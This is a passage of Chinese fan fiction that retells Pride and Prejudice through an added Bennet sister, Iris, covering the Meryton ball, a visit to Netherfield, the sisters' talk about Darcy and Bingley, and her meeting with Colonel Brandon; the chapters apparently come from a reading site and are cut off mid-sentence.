这种情况下，卢卡斯小姐不仅没有嫁妆，甚至考虑到妹妹尚且年幼，没法帮助日渐衰老的母亲，她不得已留在家里，一留就留到二十七岁——按常理，她这个年纪早该是两三个孩子的母亲。 而卢卡斯小姐的婚事一日不落定，她的妹妹们就一日不能正式出席舞会。像班内特家这般不顾世俗礼仪，让姐妹几个同时参加舞会的情况简直是少之又少。 换作是其他人，不是急的像是热锅上的蚂蚁，就是自暴自弃，然而卢卡斯小姐从来不把烦恼转嫁给其他人。 反正艾莉丝从未听伊丽莎白提起过，她打量起卢卡斯小姐。 她的容貌普通，穿着素雅，唯一的点缀是发间的几颗珍珠。放在人群里，很难得到别人的瞩目。即便半个晚上过去，仍旧没有一位男士邀请卢卡斯小姐跳上两支舞，她看着却不甚焦躁，反而饶有兴趣地谈起宾利先生和简的相处。 正巧，不远处传来宾利先生的声音。 他看不得自己的朋友孤零零地站在壁炉的旁边，竭力劝说达西和布兰登上校跟着跳舞。 “达西，布兰登，我非得让你们去跳舞不可，”宾利先生说，“我邀请你们来可不是为了让你们跟两根杆子似的干站着，你们不觉得这样子看起来傻乎乎的吗？” 面对朋友的建议，达西先生丝毫不为所动，他坚决地拒绝了宾利先生，表示自己绝对不和不熟悉的舞伴跳舞，而符合他条件的宾利小姐已经得到他人的邀请。 “我刚才跳过一次。”达西先生强调，“而且，和其他陌生的人跳舞，对我来说简直是活受罪，我宁可像跟杆子矗在这。” 宾利先生吃惊，他叫唤起来：“你怎么能这么说呢？我真不明白为什么你和这儿的小姐跳舞会是活受罪。我从来没在哪个舞会上这么快活过。”他转向另一位好友，企图从他那里得到更多的认同，“布兰登，你怎么想？难不成你也打算支持达西的话，打定主意要站一整晚啦？” “比起跳舞这类费体力的活动，我想还是简单的聊天更适合我。” “噢，布兰登！我怎么不知道一个能每天早起去骑马打猎的人，竟然连跳一支舞的体力都没了？”宾利先生半点不信他的托辞，“我可是瞧见你和一位小姐说了好一会儿的话。你就没有和她一起跳舞的想法吗？” “宾利，你就别打趣我了。”布兰登上校摇摇头，“我可不是你们这个连续跳上一整夜都不会疲惫的年纪了。” 宾利先生费解极了：“然而你连一支都不肯跳，达西好歹还和卡洛琳跳过。我真搞不明白，会是怎样的小姐才能让你心甘情愿地踏足舞池。” “与其在这劝我们，你还不如抓紧时间享受后半夜。”达西先生提醒。 “你们真教我纳闷。我发自内心的认为梅里顿的姑娘比伦敦的小姐差不到哪里去，她们个个年轻漂亮、能说会道，你们却挑剔的一个都看不上。”宾利先生叹气，“我喊你们来是为了让你们别整天埋在商务回信和工作事宜里的。现在看来，你们对跳舞的兴致可能还没处理工作来得多。” “能在这感受几日乡村风光，也算是休息了。”布兰登上校说，“何必拘泥于具体的娱乐活动。” 达西先生不客气道：“舞会上最好看的小姐就是你的舞伴，你当然满意啦。” 对于对班内特小姐的赞美，宾利先生不能更同意，他从来没见过这么美丽优雅的姑娘。他无师自通了爱屋及乌的心情。 “其实不止班内特小姐，她的几个妹妹也都格外讨人喜欢。比如伊丽莎白小姐，她同样很漂亮。” “你提到的伊丽莎白小姐，我只能说过得去，但她还没漂亮到一眼就能打动我。”*见宾利先生有意再劝，达西先生冷声：“我没兴趣抬举那些受到冷落的小姐。”他一顿，“何况，她们未必需要。” 话已至此，宾利先 6. 第六章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 梅里顿舞会后，大家都很喜欢落落大方的宾利先生，个个称赞他是个再好不过的年轻人；其次受欢迎的则是随和有礼的布兰登上校，尽管他没跳舞，但言谈举止之间很有一位绅士应有的风度；而达西先生则成了他们最讨厌的人，这份不喜全然出自他的目中无人和高傲冷漠。 班内特太太的态度不外如是。 她信誓旦旦地说宾利先生肯定已经喜欢上了简，这是明摆着的事，不然他根本不会和简跳上两次。 对于一位极有可能会娶走她女儿的男士，班内特太太把所有的好话都用到了宾利先生的身上，这甚至让班内特先生说出“他要是真那么和善体贴，就该在跳第一支舞的时候就扭到脚”*这样的话。 相对的，得知达西先生竟敢那般对待伊丽莎白后，班内特太太气得直囔囔：“哪怕他有一万英镑的年收入，我也必须要说他是那么可恶，那么讨人厌！” 从未有过哪位年轻俊美又身价不菲的男士会让班内特太太如此不喜。达西先生有幸开创了先例。 “丽齐，”赶去厨房揉面包前，班内特太太说，“我要是你，下一次可不一定跟他跳舞。” “噢，相信我，听到妈妈你的要求，我高兴还来不及。”伊丽莎白回道，她早把那晚的事当成可笑的乐子分享给家人朋友。 简放下手里绣着的桌布，中肯道：“达西先生确实不如他的两位朋友和蔼可亲，不过他有骄傲的资本。想想夏洛特说的，达西先生不仅出身好，还有钱，他本人还接受过高等教育。” “如果他伤害的不是我的自尊，那么我也不是不能原谅他的骄傲。”* 刚从外面散步回来，艾莉丝就听到这番对话，目睹全过程的她自然能理解伊丽莎白的心情。 “反正达西先生一看就不是会和我们有过多交流的人，”她说着，冲简眨了眨眼，“只要宾利先生平易近人就够啦。” 达西先生在伊丽莎白心里的印象一落千丈，而宾利先生获得了简的青睐。 尽管简看着对谁都是娴静温柔的样子——用伊丽莎白的话来解释，这是简出于用理性包裹住情感的习惯，她不让自己在旁人眼里失礼，但提到宾利先生时那双闪烁着光芒的眼睛可作不了假。 简微微红了脸，她伸指轻点在艾莉丝的额头上：“怪不得伊丽莎白说你是个小促狭鬼，一有机会就来打趣我。” “早知道呀，”伊丽莎白附和，“就不那么早告诉你了，让你猜去。” 回到家的当夜，攒了一肚子的话，伊丽莎白迫不及待地问起简的真实想法。她们躺在四柱床上，昏黄的烛光和夜色相融，如同融化成液体的黄油，散发出甜滋滋的气息。 “你是怎么看待他的？” 昏暗中，伊丽莎白静静等待着简的回话。 简的心神又溜回到有着音乐伴奏的舞厅里，不管是面对面的舞步，亦或是转身的交错，像是蝴蝶轻轻地落在花朵上一般，始终都有一道目光停留在她的身上。心脏扑通扑通地跳动，仿佛要透过她的睡裙、柔软的被子，厚重的帷幔，将心音传到屋子的每个角落。 “我想，”简试图让自己的心绪平静下来，她盯着帷幔，有些羞于和伊丽莎白对视，“我对他应该是敬重的。” 伊丽莎白长长地“噢”了一声，在招来简的动作前，她突然笑道：“那艾莉丝就不用那么操心了。” “艾莉丝？她怎么了吗？” “她呀，大概是怕你会因为各种顾虑，最后选择自己不喜欢的人。” 被妹妹关心的滋味，化作暖流，缓缓流淌在简的四肢百骸。她柔声轻语：“这样的话，得让艾莉丝清楚我的想法才行，不然她肯定会纠结的。” 于是，艾莉丝成了姐妹里第二个知道的人。至于玛丽，则是在宾利现场成为家中常驻话题时咂摸过来的。无他，再是能掩饰，简的羞涩依然能在眉眼间窥见半分。 “过两天，我们是不是要去内瑟菲尔德庄园拜访主人家？”听了一上午的“宾利先生”和“达西先生”，玛丽想起班内特先生不久前和他们打过招呼。 她这么一提，旁边的凯瑟琳和莉迪亚跟着激动起来。 “爸爸有说过我们哪一天去吗？”凯瑟琳看向伊丽莎白。 “没，爸爸根本没说。” “我没去见过庄园里面的装饰呢，也许宾利先生他们搬进来之后又修改了一番。”既然伊丽莎白不清楚，莉迪亚等不及，她起身，拉着凯瑟琳一溜烟跑到厨房，“我得去问问妈妈。” 休息室里安静了几秒，继而小姐们讨论起目前住在内瑟菲尔德庄园里的人，只是她们似乎有不同的看法，比如对于宾利小姐，简认为她是个好相处的人，会主动和简说笑，而艾莉丝和伊丽莎白反而觉得宾利小姐和达西先生很像。 “我没看出来宾利小姐有什么架子，她和我说了不少事情。例如达西先生只是不怎么和外人说话，但是对待亲朋好友，他的态度是很和善的。” “我只感觉到他对外人的不客气，至于他如何与亲友相处，这我们就无从验证……”伊丽莎白说着，扭头转向和达西先生的朋友聊过天的人，“艾莉丝，你没从布兰登上校那听说点什么吗？” “欸？” “你们那晚不是聊了很久吗？总不能都是些和天气舞会有关的无趣内容。” “差不多……”艾莉丝心虚，她可不想赶集那天的莽撞又被点出来，“就问他觉得梅里顿怎么样之类的。” “看来这位上校有礼貌的多。” 最后，她们只在布兰登上校的评价上得到统一。 三天后，朗伯恩的女士们上门拜访了内瑟菲尔德的主人。 年长的小姐盘起长发，年幼的妹妹还热衷于用细绳把头发扎成两股垂在胸前，但她们都换上了衣柜里得体的长裙，以免以不雅的形象出现在在内瑟菲尔德的女士面前。 九月的朗伯恩天气时阴时晴，她们出门的这个点，天空仿佛笼罩在一片灰蒙中。云层低垂，秋风萧瑟，让人不禁怀疑是否会有一场大雨落下。 班内特太太望了望天色，凭借多年的经验断定今天不会有雨，只是语气里带了点惋惜。 内瑟菲尔德庄园距离班内特宅邸约莫三英里远，她们乘着家里的敞篷马车，一路猜想着庄园内部的装修会是何等富丽堂皇。 直到两边的树木逐渐减少，一条宽阔的大道出现在眼前，在那尽头赫然矗立着一幢美轮美奂的房屋。 宾利先生一行人正站在门口。见马车驶来，他率先走上前，热情欢迎班内特母女的到来。 “作为邻居，上门拜访也是应该的。”班内特太太回道。 随即，简补充了一句：“希望没有打扰到你们。” 和那天舞会上的情形大差不差，宾利先生笑得最开心：“怎么会是打扰呢？能有邻里上门，是好事才对。我巴不得庄园里能够热闹些。”随即，他侧身，他介绍起一位衣着华丽的夫人和一位面色酡红的先生，“达西和布兰登你们都认识了。这两位是我姐夫赫斯特先生，以及我的姐姐赫斯特夫人。” 相同的介绍方式又被宾利先生用来介绍班内特母女。 宾利小姐脸上挂着合乎礼仪的微笑，跟那位赫斯特夫人说要为她介绍一位新朋友。 “简举止文雅，性格体贴，”宾利小姐挽住简的胳膊，“我保准你会喜欢她的。” 赫斯特夫人的视线扫过几位年轻小姐，最后停留在简身上，她上下打量过后，热切地和简打起招呼：“别在外面站着了，快进来坐会。能让卡洛琳夸赞的小姐，想来和我也能说得到一块去。” 她们三人手挽着手走上台阶。宾利先生连忙请班内特夫人和剩下的小姐们入内。 伊丽莎白和玛丽交换过眼神，确认了彼此的想法。凯瑟琳和莉迪亚的注意都在宾利小姐和赫斯特夫人的衣着上。碍于站位，艾莉丝不便在三位男士旁边有什么小动作，干脆观察起庄园内部。 屋内的设计和原主人还在时的风格大相径庭。 走过铺设地毯的走廊，她们依次进入会 7. 第七章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 为了例证自己的话，宾利小姐详细说明了当初她在学校里学过的课程，赫斯特太太不时加以补充。 她们很为自己所受的教育感到骄傲，对班内特家几位小姐在这方面的疏忽很是不可置信。 “我不觉得这是什么大惊小怪的事，”班内特太太语气自豪，“安娜小姐没来之前，简的钢琴就已经弹得足够好了，丽齐弹得也不差，玛丽会自己看书。要我说，整个梅里顿没一个能比玛丽看的书更深奥的。” 虽说是被母亲夸奖，三位小姐却面露尴尬，而宾利小姐挑了挑眉。 “照夫人这么说，岂不是根本没有请家庭教师的必要了？” “如果不是艾莉丝对绘画感兴趣的话，我们的确不打算请老师。” 班内特太太没听出宾利小姐的暗讽，她从来都是想到什么说什么，而且巴不得所有人都知道自己家几位女儿的优点，她眉飞色舞地谈起安娜小姐对艾莉丝的夸奖。 无意成为话题中心的艾莉丝心情复杂。 当所有人的目光都转移到自己的身上时，艾莉丝又有种想从会客室消失的冲动。不提三位男士，宾利小姐和赫斯特夫人的眼神让她以为自己成了马戏团里展出的猴子，供人取笑。 只一眼，艾莉丝就能看出她们的笑浮于表面，眼底深处更多的是嘲弄。在她们的观念里，籍籍无名为讨生活的家庭教师，技艺远不如寄宿学校里来的高超。 “请到安娜小姐做家庭教师，简直是再值得不过的事了。”即使现在，班内特夫人也认为这是她最有性价比的一次雇佣，“可惜安娜小姐身体不是十分康健，否则我肯定要把她介绍给有需要的人家去。” 赫斯特夫人扇着手中的羽扇，将表演掩于扇面之后：“一位家庭教师同时教导六位小姐，确实是笔划算的买卖。夫人你真是持家有道。” 像是得到了知音，班内特太太毫无推脱这份赞美的意思，她甚至得意起来：“一开始艾莉丝对画画感兴趣，我还以为是小孩子闹着玩，谁能想会得到看重。安娜小姐请辞后，也不忘在伦敦指导艾莉丝。” 艾莉丝从小跟随安娜小姐学习，尽管知道安娜小姐对她的学习进度还算满意，但从未听到过如此直白的夸耀。倘若不是明白自己母亲的文学修养，她肯定以为母亲夸大了安娜小姐的态度。 “看来每位小姐各有各的才艺，”赫斯特夫人说，“只是我还是认为有条件的家庭得把小姐送去学校。” “毕竟一般人很难评估一位家庭教师的水准。”宾利小姐下巴微扬，她转向和三位姐姐坐一起的艾莉丝，“或许下次回访，我们有机会能欣赏到艾莉丝小姐你的画作？” “不过是我闲暇时随手所画，水平并没有母亲夸得这般厉害。要是宾利小姐你们想看的话，下回可以来参观。”想到安娜小姐对自己的认可，艾莉丝仿佛得到了鼓舞，恨不能就最近的画作去信一封，以期得到更多的指点。饶是旁人如何不信，她也依旧挺直着腰背，说话的口吻则谦逊无比。 按道理，她们上门拜访后，内瑟菲尔德庄园的人也要回访。 “艾莉丝小姐，你就不用这么谦虚啦。既然能得到老师的认可，我想你的水平肯定差不到哪里。”小姐们之间的交锋，宾利先生是半点没感受到，他乐呵呵道，“到时候可一定要我们欣赏艾莉丝小姐你的画作。” “宾利先生，你过誉了。在绘画方面，我还有许多不足之处。”艾莉丝不愿话题继续围绕自己打转，“而且，安娜小姐曾经说在弹钢琴上，我还需要向姐姐们多多学习。”她难为情地抿嘴一笑。 连着几人提到钢琴，宾利先生倍感遗憾：“看来我该学着达西和布兰登那他样在庄园里备上一架布斯伍德制的钢琴，不然我们现在还能现场聆听班内特小姐和伊丽莎白小姐的演奏。” “我的演奏水平可用不上这么好的钢琴。”伊丽莎白说。 “琴买来不就是弹得吗？”宾利先生没那么多讲究，“哪分弹得好不好。” “若是人人都像你这么想，又何必追求钢琴的音质？”宾利小姐说，“达西先生，我想你应该能理解，毕竟乔治安娜不就在跟着专门的老师学习？” “对于有着高超水平的演奏者来说，自然是品质更好的钢琴能给听众带来最佳的音乐体验。”达西先生回道，“对于大部分只是把钢琴作为一门课程的小姐而言，能够完整流畅地弹完一曲就算值得为人称道的了。” 他这话一出，宾利小姐和赫斯特夫人便不能再把教育之类的放在口头。 伊丽莎白问：“想必达西先生你对音乐有一定的鉴赏。比起舞会上小姐们弹奏的乡村乐曲，或许你更喜欢高雅古典的音乐？” “我只是有所了解，谈不上更喜欢哪一类。” “我还以为这是你不热衷舞会的原因之一。” 达西先生的目光落在她的明眸上：“伊丽莎白小姐，我不得不告诉你，你的猜想是错误的。” “那看来我们不用担心，达西先生你会对年轻小姐们的演奏有太高的要求了。” “如果我对此有过高的要求，我想我该出席的场所是音乐会。” 他们你来我往，倒有种旁人无法轻易融入的氛围，宾利小姐试图插话：“要是想听一场好的钢琴演奏，起码得去花园剧院，或者是达西先生说的音乐会。但是这些地方的门槛，不是会点钢琴就能进去的。”她转向伊丽莎白，“小姐们更多的是将其作为兴趣。达西先生怎么可能拿她们和专业的人士相提并论。” 清楚宾利小姐的立场，伊丽莎白但笑不语。 “卡洛琳，你们实在扯得太远了。”宾利先生道，“要我说，小姐们需要学习的东西一点也不少，即使精力有所分散也是再正常不过的事，何况她们学的差不到哪里去。” 布兰登上校搭腔：“的确。人的精力是有限的。我们总不能要求每位小姐都熟练掌握她们所学的每一门技艺。与其停留在浅尝辄止的程度，倒不如把时间和精力留给自己想要学习的爱好上。” “就是布兰登说的理。好比别人都说玛丽小姐是远近有名的才女，而艾莉丝小姐擅长绘画。人们在提到她们时必然会先想到她们出类拔萃的一面，而非学艺不精的地方。” 玛丽说：“我只是看的书比旁人多一点，远远称不上才女的名头。” 若是换作过去的玛丽，大概会为此沾沾自喜，势必搜肠刮肚说出一堆引经据典的见解来获得关注。然而经过安娜小姐的开导后，玛丽早已不再通过这种方式来引起父母的注意，而是发自内心地爱上了阅读这一活动，并深感自己的见识浅薄。 “与其说是擅长，不如说我才刚刚入门，连个人的风格都尚未形成。”艾莉丝点头附议。她并不怎么认可宾利小姐话里代表的观念。在许多方面，女子未必不如男子，“像是肖像画，色彩强烈、技巧精湛的阿特米希娅、亦或是画作精致委婉的勒布伦夫人，她们的身上都有不少我可以学习的地方。” “想来无论是谁，只要能够在自己感兴趣的领域用心钻研，总是可以有所收获。”布兰登上校总结。 暗藏的硝烟散去，场面得以平息。 达西先生又恢复到默不作声的状态，仿佛刚才和伊丽莎白激烈对话的不是他本人。 怕再有被说不上话的情况出现，这次宾利小姐把话题扯到了伦敦流行的衣服鞋帽的款式，于是凯瑟琳和莉迪亚问得最是积极。 等到吃过下午茶，班内特母女才结束了今天的拜访，她们快快乐乐地来，又快快乐乐地走，直到马车没了影，内瑟菲尔德的人才转回屋内。 纵然没怎么和简单独交流，但在简的一颦一笑中，宾利先生每和简相处一回，心中的喜 8. 第八章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 乡下的活动不多，年轻小姐们解闷的事更少。托了宾利先生一行人的福，梅里顿难得多了不少新鲜事，举办舞会的次数也大大增加。 宾利先生一有机会就邀请简，他的心思如今已是众所周知。 眼见着好事将近，班内特太太可谓是满面红光，时常挂在嘴边的神经痛识趣地没再冒出来体现存在感。 其他夫人免不了到班内特太太跟前打探他们两人的进度，指不定自家的女儿还有一线的机会。她们的算盘还没打响，就被班内特太太直白的显摆气得差点没挂住笑。 没法在宾利先生身上找回场子，她们就拿达西先生对伊丽莎白的冷嘲说事。 “她们那话说得好像达西先生和其他人跳了舞似的。” 早饭前很是空闲，班内特太太懒洋洋地靠在沙发上。家里大部分的活都是仆人在做，她实际上要忙的事情不算多。 “而且丽齐也不缺一个傲慢的人做舞伴。”看着正围坐在桌前装饰裙子帽子的女儿们，班内特太太半点没因那些夫人的话生气，“等简结了婚，下面几个妹妹的婚事难道还需要发愁吗？”她可是相当看好宾利先生的人缘。 “妈妈，事情还没个定论呢。”简试图让班内特太太改一改这有点苗头就到处宣扬的性子。 “怎么会呢？”班内特太太毫不在意，“宾利先生回回都邀请你跳舞，他已经完全被你迷住了，向你求婚也是早晚的事。” 伊丽莎白帮衬着劝说道：“可现在他还没正式开口，不是吗？如果，我是说如果，宾利先生到最后都没求婚，其他人会在背后说闲话的。” “怎么可能会有这种情况发生？简是梅里顿最漂亮的小姐，除了简，宾利先生还能看上谁？” “但……”伊丽莎白的话没说完，就被不耐烦的班内特太太挥手打住，“总之，在我看来，这是板上钉钉的事。” “丽齐？”艾莉丝问，“你刚想说什么，和你们的不安有关吗？” 尽管简面色如常，但她显然并没把心思放在绣花上。瞥过那半天没动的方巾，伊丽莎白把其中缘由剖析给艾莉丝听：“不说宾利先生尚未求婚，直到目前为止，他都不曾明确表示过会在梅里顿定居。如果他有定居的想法，就不会只是租下内瑟菲尔德庄园了。” “可能是他压根没想起来这回事呢？”烦恼一向不在莉迪亚的脑中停留太久，她并不觉得这是什么需要谨慎考虑的事，“妈妈说得又没错，除了简，宾利先生从没和哪个小姐跳过两支舞。”她似乎想起了什么，“而且宾利先生和我跳舞时，偶尔还会问起简你的事。” 凯瑟琳说：“他对我们的态度都挺友好的，不像那位达西先生。” “但他的两个姐妹对我们的态度可不怎么热情。”玛丽补充，“她们也就看得起简一个人。” “这有什么不对吗？”莉迪亚问。 艾莉丝托腮，念及舅舅和姨妈跟她们一家的和睦关系，举一反三推测：“要是宾利小姐和赫斯特夫人没有和我们来往的打算，简夹在中间应该很难做吧。” “而且现在是赫斯特夫人在帮宾利先生打理内宅的事情。”信息来源于夏绿蒂·卢卡斯小姐。 原本万无一失的事，在姐妹一众的分析下，结局犹如枝上的叶子，变得摇摇欲坠。 “宾利小姐和赫斯特夫人应该不是这样的人，”简还是很相信这两位朋友的，“而且宾利先生和我只是跳了几次舞……总之，你们别像妈妈一样认定了这事就好。” 最后一句是对莉迪亚和凯瑟琳说的。在安娜小姐离职后，她们被约束的性情得到解放，有时行事难免欠缺考虑。但简同样清楚，这两个妹妹没什么坏心眼。 “我才不会逮着人就说你的事呢。”莉迪亚嘟嘴，“这有什么好说的，还没宾利小姐她们衣服上的花样有意思。” 艾莉丝作证：“莉迪亚最近铆足了劲，想从姨妈那多打听一些伦敦的新时尚。” “大家都在传宾利先生有意在内瑟菲尔德庄园举办一场舞会，我当然要提前做好准备，”莉迪亚可不愿意穿着过时的衣服去，她扬起下巴，“我可是在姨妈那看了些新花样，你们要是需要的话，问我也不是不行。” 莉迪亚的一番心意，自是被几个姐妹坦然接受。但提到舞会，她们不免八卦起班内特夫人刚才提到的那位绅士。 “伊丽莎白，真的有达西先生请你赏脸和他跳舞这事？”从其他小姐那听到这个八卦，莉迪亚简直不敢相信。那个好像谁都看不上的达西先生竟然会邀请梅里顿的小姐跳舞，对象还是她的二姐。 其余不知情的姐妹纷纷看向伊丽莎白，她们的脸上写满惊讶。 舞会上的一点风吹草动，都会被人察觉，然后广而告之。伊丽莎白干脆地点点头，不过她不认为达西先生是真的打算邀请她。 这事发生在班内特一家拜访过内瑟菲尔德庄园后。威廉·卢卡斯爵士在家举办了一场舞会，几乎所有和他交好的人都欣然前往，宾利先生一行人也不例外。 当时，达西先生站在威廉爵士的旁边，他看着和以往一样，没有跳舞的打算。威廉爵士是个热心肠，他秉着要让每一位客人尽兴而来，尽兴而归的想法，企图让达西先生融入到舞会中去。 “达西先生，如此美妙的夜晚，不去跳一支舞实在是太可惜啦。”威廉爵士笑道，他瞥见正往他们这走来的伊丽莎白，“伊丽莎白，你也没去跳舞吗？”他似乎尚不知晓之前梅里顿舞会的事，积极地将眼前两位年轻男女凑成舞伴，“达西先生，不如你和伊丽莎白一起去跳上一回，这比在这跟我聊天有意思的多。” 要是提前知道有这一出，伊丽莎白是决计不会经过威廉爵士身边的。她正想着等达西先生拒绝后怎么回话更为妥帖，却只听到达西先生顺着威廉爵士的意思，向她发出了邀请。 这真是一件极为稀奇的事情。 谁不知达西先生看不上乡下人，他从不和认识的女性以外的小姐跳舞。 伊丽莎白诧异又怀疑地打量着达西先生，她以为他受了什么刺激，才会做出这等不符合他一贯行动的事来。 “你怎么没答应他呢？”莉迪亚叫起来，“你要是答应了他，你就是梅里顿第一个和他跳上舞的人了。” “这事来得太突然，况且我路过那也不是为了和他跳舞。”伊丽莎白丝毫不为这所谓的第一人的名头心动。 “达西先生愿意和宾利小姐、赫斯特夫人以外的小姐跳舞，这件事就足够反常的。即便不和她们跳，和布兰登上校站在不打扰人的地方才符合他的习惯。”艾莉丝好奇，“你拒绝了他，然后呢？他是什么反应？” “能有什么反应？”伊丽莎白反问，“他可能是不想拂威廉爵士的面子，又或者其他原因，估计看到我拒绝，他心里乐意极了。” 简心思细腻：“我倒不这么觉得。说不定达西先生是发自真心地邀请你。” “毕竟连宾利先生都劝不动他，何况是威廉爵士。”玛丽多看了两眼伊丽莎白。 姐妹里，伊丽莎白的容貌同样出众。 “谁知道呢？反正他整晚的举动都教人摸不着头脑。” 伊丽莎白说达西先生一整晚都站在她不远处，好像是对她和其他人的聊天很感兴趣一样。 “后来他还听我表演了两支曲子。” “看来你的演奏水平不至于使他丧失对舞会的兴致，”联想到上次达西先生就小姐们的琴艺发表的见解，艾莉丝笑道：“这么听来却是一件好事了。丽齐，你的琴艺大大进步了。” 这一逗趣，姐妹几个都没忍住笑，伊丽莎白更是抓着艾莉丝挠她的腰。 “也许，”凯瑟琳小声，“也许达西先生对伊丽莎白有好感呢？” “这种事发生的概率，就好比妈妈不再嚷嚷她的神经痛那样，可能性微乎其微。”伊丽莎白第一个否定。 “谁说得准呢？万一达西先生被你的某个特质所吸引，一发不可收拾地心动下去。”玛丽的语气，玩笑认真对半分。 简难得加入到调侃的队伍里：“我们丽齐也差不到哪里去，又漂亮又聪明。” “还敢和达西先生聊得有来有回。”艾莉丝一边捂住腰，一边躲到莉迪亚身后。 “连看待事情最乐观的妈妈都没想过，”伊丽莎白没好气，“怎么你们一个个比妈妈还敢做梦？” 这些时日以来，班内特太太仍然不喜欢端着架子说话做事的达西先生。或者说，梅里顿里喜欢达西先生的人本就是少数。 玛丽说：“不是所有年轻有钱的男子都能得到妈妈的青睐，除非他有希望成为她某个女儿的丈夫。显然，达西先生之前的做派让妈妈看清了他不会成为他女婿的事实。” “但是她绝对想不到事情的发展会出乎她的意料。”艾莉丝眼睛忽的亮起，“这就像是小说里会有的情节一样，充满戏剧性。” “生活里可不像小说，充满跌宕起伏。”虽说常年浸淫在哲学世界，玛丽却非常务实。 “还有一种类型的男子，也会得到妈妈的青睐，”莉迪亚说，“那就是红制服。”她和班内特太太着如出一辙的偏好，“要是能和红制服跳上一夜的舞，那简直 9. 第九章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 近几日，梅里顿的附近新来了一个民兵团。 这是从住在梅里顿的菲利普斯姨妈那打听来的消息。她是班内特太太的妹妹，嫁给了继承她们父亲律师事务的菲利普斯先生。 最是喜欢红制服的莉迪亚再坐不住，她和凯瑟琳本就常去梅里顿逛街，这几天更是频繁去看望菲利普斯姨妈，以期在她那听到更多有关军官的新消息。善解人意的菲利普斯姨妈自然是说了自己知道的所有事，她的丈夫菲利普斯还去拜访了所有的军官，为外甥女们和军官的认识开了方便的大门。 一大清早，莉迪亚和凯瑟琳穿戴整齐正要往门外走，却被同样出门的艾莉丝叫住。 “你们是要去梅里顿吗？记得带把伞。”天空灰蒙蒙的，云层黑压压地低垂，几乎要触碰到树木的顶端，艾莉丝提醒，“或者你们坐马车去。” 凯瑟琳抬眼望了望窗外，估摸着来回花费的时间。 “莉迪亚，不如我们就坐马车去吧？”她摸了摸自己新改好的帽子，“万一碰上下雨就麻烦了。” 喊人套马也就等会的工夫，莉迪亚当然没什么意见，她示意艾莉丝赶紧去忙自己的事，省得到时候淋了雨回来。 挨个抱过两个姐姐，艾莉丝挥挥手离开。 上一幅画画了好些时日，她近期暂时没有要拿笔的念头，干脆好好享受一下难得的静谧。 沿着河的上游走，没有朝阳的璀璨晨光，但是清晨的雾霭像是半凝固的蛋白，流淌在两岸郁郁葱葱的树木间。 时值十月初，草地上随处可见各色的玛格丽特，艾莉丝信手摘下其中几簇，一边哼着歌谣，一边饶有兴致地编起花环。 风把歌声吹送到路人的耳边。 布兰登上校勒住马，循声望去。 绿荫蔽日的林间，一抹婀娜的身影掩映其间。她尚未发觉这片静谧之处有了第二个人的到来，一边踩着轻快活泼的脚步，裙摆飞扬，一边抬手戴上花环。 不等布兰登上校避开，就见林中的小姐拨开枝叶，探出身来。 “日安，艾莉丝小姐。” “上校？” 似是没想到会在此时此地遇见他，艾莉丝不由一愣，她忙不迭地收回手，掸了掸裙上的灰尘，又欠身行礼，朝他问了个好。 和出席舞会的精心打扮不同，晨起散步的艾莉丝没有盘发，而是任由浓密如海藻的长发披散在后背，唯有的装饰物则是那盛开的白粉相间的花环，却偏偏衬得她娇俏动人，就像是神话中由自然幻化而成的宁芙。 布兰登上校一时间忘记了言语。 “上校，你这是要出门办事？”艾莉丝仰头，“今天的天气可不太适合在外面久留。” 意识到自己还在马上，布兰登上校赶忙翻身下马。 “不，我只是习惯晨起后骑马锻炼一会。” 他虽年过三十，但毫无其他乡绅发福臃肿的迹象，反而身姿挺拔，身材高大，看着结实有力，一举一动都带有军人的作风。 “艾莉丝小姐你是在这附近散步吗？” 其实小姐散步最好有人陪同，但艾莉丝仗着没人管，这儿离家又不远，因而从未考虑过这一点。此时布兰登上校一问，她惊觉自己不符合淑女的地方，在对方眼中暴露得太多。 摸着散开的长发，她局促地点点头。 布兰登上校的视线偏移，落在她鬓边的一片绿叶上：“我初来这里，并不是很清楚有哪些地方方便骑马，可以麻烦艾莉丝小姐你说个大概吗？” 他态度和蔼，艾莉丝不由松了口气，她耐心地把林中地形描述了一遍，又特意把需要注意的地方说明，以免对方遇到。 “多谢，这让我少走许多岔路。” “只是举手之劳而已。”介于布兰登上校的语气真切，又很是平易近人，艾莉丝自在许多，胆子也跟着大起来，“人们都说上校你不爱跳舞，原来是把精力都放在了这。” “这是从军时养成的习惯，退伍之后也就保持了下来。” 艾莉丝眨眼，笑问：“不是巴顿的小姐更讨人喜欢？”她可记得宾利先生提起过，布兰登上校以前在巴顿访问老友时，是跳过舞的。 布兰登上校讶然，在看清艾莉丝调侃的神情后，心又回到原位：“我不觉得梅里顿的小姐有不讨人喜欢的地方。不过，我想她们更适合和年轻小伙子跳舞，年轻男女总是更有话题可聊。” “倘若跳舞只属于年轻男女，那我得说它太过挑剔傲慢，竟狂妄到以一己之力把过半的人拦在门外。” “我只是以为，年轻人的朝气恰好更适配于欢快的舞曲。我们不能否认，比起有些年纪的人，年轻人总是能更好地将自身的热情更好地融入到音乐中去，并通过舞步表达出来。” “不再年轻的人就无法拥有热情了吗？” 艾莉丝距离布兰登上校所说的岁数还有好些年份，这也导致她对他所说的话持怀疑的态度。 “何况，按上校你的说法，达西先生也不该去跳舞才对。”艾莉丝搜刮着脑海中的词，试图找到一个不那么刻薄的来形容对方，“毕竟达西先生似乎不太善于交际，但他的舞伴压根不介意他的沉默。”甚至宾利小姐还会主动找话题。 大抵是看出艾莉丝委婉用词里的真意，布兰登上校笑了笑，替不在场的好友解释：“达西为人没表现的那么不近人情，相反他很照顾朋友和家人。” “这是上校你的切身体会？” “我和达西认识有些年了，自认对他有一定的了解。” “但出自被他奚落的小姐的妹妹的身份，我得说达西先生对朋友以外的人可就有些苛刻了。”艾莉丝陈述着事实，但也越发纳闷达西先生为什么突然转变对丽齐的态度。 “这一点，我想我很难替他开脱。” “这和上校你有什么关系？话是达西先生说的，我们没有连坐的说法。” “那我该替宾利松口气才是。”布 10. 第十章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 天色渐晚，艾莉丝张望着屋外，担心起两个姐姐。 “莉迪亚和凯瑟琳还不回来吗？” “她们托人送了信，说是要留在姨妈家用餐，今晚不会回来了。”伊丽莎白回。 简说：“估计是怕回到一半下大雨吧。” 